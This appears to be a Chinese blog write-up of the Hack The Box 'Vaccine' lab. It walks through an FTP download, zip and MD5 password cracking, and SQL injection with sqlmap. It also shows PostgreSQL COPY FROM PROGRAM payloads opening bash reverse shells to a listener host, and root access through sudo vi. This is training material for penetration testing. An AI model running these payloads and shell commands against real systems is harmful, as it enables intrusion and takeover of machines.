HTB-Vaccine

HTB-Vaccine

1.TASK1

g8oiBKmRi3mK9bJBt9IoxsqOt1j4OxXoH0oJ7qGX5y0

问题:除了SSH和HTTP,这个盒子上还托管了什么服务?

一、端口扫描

nmap -sV -sC 10.129.172.3

ovdGRWkXZ1W83kGMRulT1u8XYgrUs19MiojY6JWY1BI

可以发现目标主机开发了ftp、ssh和http三个端口,其中ftp支持匿名模式登录,并且存在一个backup.zip文件

同时在网页中访问ip,存在一个登录界面

答案:ftp

2.TASK2

R9-EgYW8WXLB2ooPCtIhop-vd7WrdqPWn026YtfctM4

问题:此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?

答案:anonymous

3.TASK3

i9JZsnv4BtRrK7AfmD4cQZUzpzMGpS00sqmLNwJgusw

问题:通过此服务下载的文件的名称是什么?

答案:backup.zip

4.TASK4

tk0gHvhuuJLgSFDpdyE3vIr2x7g8yi-YQSMS0C_iLhI

问题:John the Ripper工具集附带了什么脚本,并以允许破解尝试的格式从受密码保护的zip档案中生成哈希?

二、FTP匿名登录

ftp匿名登录,并将back.zip下载到本地

pvdmFsfUb3OuXbq5-MlHJpd0M0P1oeVgmtt8C-qFJ2c

三、暴力破解压缩包

压缩包中存在index.php,使用弱密码尝试解压压缩包,发现行不通,那就需要用到爆破工具来爆破密码了

这时候会用到john的zip2john脚本,将加密压缩包的密码hash值导出到文件中,再用john对其进行爆破

BWjeuhbJdhzhJg64fyasVIw4eye7z_dMp5rv0uxwTYo

答案:zip2john

5.TASK5

HS7-WmWoY5Md4_QgeV2h0ZL9-9i-eNRh5rIveVy3Jvc

问题:网站上管理员用户的密码是什么?

接上,用zip2john导出hash后,使用john和/usr/share/wordlists/目录下的rockyou.txt字典进行爆破,得到密码为741852963

john hash_backup --wordlist=/usr/share/wordlists/rockyou.txt

32uRXhou40j7Oh5Kdm3IN-RxMoCR5Xs0uks7VWzP_1A

使用密码解压得到index.php和style.css文件,这个index.php应该就是登录页面的源码了

打开index.php文件后可以发现存在一个判断语句,判断username是否等于admin以及密码的md5值是否等于2cb42f8734ea607eefed3b70af13bbd3

ZJVO983Kw_TTLjvjzaBrdqr9unNWLZPI3yPxTko-BeM

直接把md5值放到cmd5解密网站里去解密,得到密码qwerty789

zdCw5bA8s910ZtOuu3PdWHjvEzj73VGS5PLYXg0BOjU

答案:qwerty789

6.TASK6

BeZ0C2PNrwc0HaLdD_k37yOWjmLvdHdu23n43iWScGw

问题:什么选项可以传递给sqlmap以尝试通过sql注入来执行命令?

四、GETSHELL

使用账户密码登录网站,可以看到一个表单,右上角有查询功能,尝试使用一下查询功能

3OweezKv4aoISQFPCamjESR5gaWon0HpdaiQ28en5GY

7R5lVv1q6KiURVGo2_PYLQr3Cx1y9gkmF1uceyjxtto

7P5GIXjpq_kG7hri93veDWVLbOvS0hynOdmW_JfcKEg

可以发现在查询时使用了一个search的参数,可能存在sql注入漏洞,直接上sqlmap

sqlmap -u http://10.129.149.19/dashboard.php?search=Sandy --cookie=PHPSESSID=72gli1uajr5hm68mqmjqe83see --os-shell --batch
//--cookie是指定页面cookie,否则页面就会跳转回登录页面
//--os-shell 使用sqlmap去getshell
// -batch 使用默认设置

PvJr6sx--0f_VenNaEQ-4QNO9GRSwYf7MOGHjqyx-Q0

答案:--os-shell

7.TASK7

JW-1nS65zkMOV6qvE-qWRkIwYEmE7KZU_cBlBDHcHW0

问题:postgres用户可以使用sudo作为root用户运行什么程序?

接上,尝试使用--os-shell参数来与系统进行交互,但是失败了;然后尝试使用--file-write --file-dest参数上传反弹shell到网站,也失败了。

参考师傅的WPhttps://blog.csdn.net/rpsate/article/details/119305417

# 创建一个表cmd_exec,用来接收执行的命令
'; CREATE TABLE cmd_exec(cmd_output text); -- 

# 执行一段系统命令来建立反弹shell(因为这里对 & 符号进行了转义,先反弹一个无回显的shell)
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.127/9999"'; --

http://10.129.168.142/dashboard.php?search=1'; CREATE TABLE cmd_exec(cmd_output text); --
http://10.129.168.142/dashboard.php?search=1'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.127/9999"'; --

7bFmKJhIaLvwSpVJtOYXF2Mm7XRWGeE00Vpmgn0KJD8

监听到无回显shell,然后执行

bash -c "bash -i &> /dev/tcp/10.10.14.127/8888 0>&1"

来获取一个交互式shell。

q50FimHEDteCVYDnRHKUgMsmD865fypBXFaAzdYvjCM

在/var/www/html/dashboard.php文件中发现系统用户密码:postgres:P@s5w0rd!

8vRcLX61dr3-Qja_zxfw7XEYZSX_O_0J34TLCSw8XKg

做到这一步的时候会发现在getshell之后,过一会会自动断开连接,在提权的时候会很麻烦,不过幸运的是我们拿到了postgres的密码,可以直接用ssh连上靶机 ssh postgres@10.129.168.142

RxL-yzpPRX2VTQUtBsDju_v2RvT3Q2PNL1TYeen4Vi4

五、提权

使用sudo -l查看我们有哪些命令可以sudo使用

59YcWp9E8pdo5MSeSY3Eio1T62vCGMnGI4O64Yku3kc

发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。

答案:vi

8.SUBMIT FLAG

KQvrOVO9fugfm4540IQG1QQveqDZ7_zRmsfUhp3mNwY

直接把user.txt中的flag提交

osl_JoSK-IQYETbX_Rs_G5aqfKDBs7SvQcGK_TDIX3o

9.SUBMIT FLAG

1C9EVsL9zWsR7ChWWweBuTi4sryaRTqr28NQyWgn3Jg

接上,我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

然后按 :进入命令模式,在命令模式下输入以下命令的其中一条即可:

!/bin/bash
!/bin/sh
shell

在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以 !/bin/bash为例,这句命令表示以shell命令的方式执行 /bin/bash,也就是打开一个交互式终端。

在vi/vim的命令中,shell表示打开一个终端。

mIQY6I_PNzfYMpmFQy8_9V5hg_MUExVhDn1poBI91VQ

此时已经获取到root权限

8AnK0Er5MaoGopd0-qEpQLrObhC-4Wo0nIDqbaSxI5o

查找flag

e0WBdD1fv6L3ZALvQi5zuQlANXg0QFeJJuAINEjBurk

29P24vv2OOZNgVJVInmYXfVyPlomoaB3SVN8CxJDS0w

posted on 2024-04-11 15:57  跳河离去的鱼  阅读(47)  评论(0编辑  收藏  举报